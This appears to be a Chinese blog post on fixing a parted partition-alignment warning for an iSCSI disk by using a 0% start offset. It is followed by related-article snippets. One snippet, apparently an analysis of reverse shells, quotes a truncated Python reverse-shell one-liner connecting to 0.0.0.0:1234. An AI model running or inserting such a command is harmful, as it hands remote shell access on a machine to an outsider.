記一次iscsi掛載後分割槽對不齊問題

2021-09-12 02:06:19 字數 1074 閱讀 7209

問題說明:the resulting partition is not properly aligned for best performance.

1.問題

掛載的iscsi磁碟無法分割槽對齊

the resulting partition is not properly aligned for best performance.

截圖如下:

2.經查資料,大部分網友和論壇建議使用如下方法

使用計算的方法

# cat /sys/block/sdb/queue/optimal_io_size 

1048576

# cat /sys/block/sdb/queue/minimum_io_size

262144

# cat /sys/block/sdb/alignment_offset

0 # cat /sys/block/sdb/queue/physical_block_size

512

開始扇區大小等於=(alignment_offset+optimal_io_size)/512

(1048576 + 0) / 512 = 2048

可用命令分割槽mkpart 1 ext4 2048s 100%

我查到的alignment_offset=0,optimal_io_siz=0

故使用命令mkpart 1 ext4 0s 100%

試過無效(主要原因可能是因為我查到的數值為0)。

3.後搜到乙個外文資料,附上鏈結

內容提到,如果上述方法不生效,且optimal_io_size=0,那個可以採用0%來自動獲取最佳分割槽效果。

改使用命令mkpart 1 ext4 0% 100%

檢視對其效果

align-check optimal 1

1 aligned(顯示已對齊)

完美完成!

後iscsi測試也一切正常。

記一次Linux修改MySQL配置不生效的問題

背景過程 在 stackoverflow上的高票回答很簡單,修改只需要三步就可以完成 etc my.cnf 找到配置檔案 port 3306 修改內容 sudo service mysql restart 重啟mysql 但實時並沒有那麼簡單,以上答案可能對舊版本管用,但是新版本你在 etc my....

記一次mysql不走索引的問題定位

問題 sql為三表關聯,關聯的字段上都加上了唯一索引,查詢時卻不走索引導致sql執行超時。檢視explain都走的all全表掃瞄。基於上述定位 為什麼沒走索引呢?進行多表關聯查詢時,要滿足 1 表關聯使用的條件欄位中字段的長度是否是一致的 2 兩表關聯使用的條件欄位中字段的編碼是否是一致的 以上兩個...

記一次對python反彈shell的分析

昨天學習了 shell,對python彈shell產生了一些疑惑 python c import socket,subprocess,os s socket.socket socket.af inet,socket.sock stream s.connect 0.0.0.0 1234 os.dup2...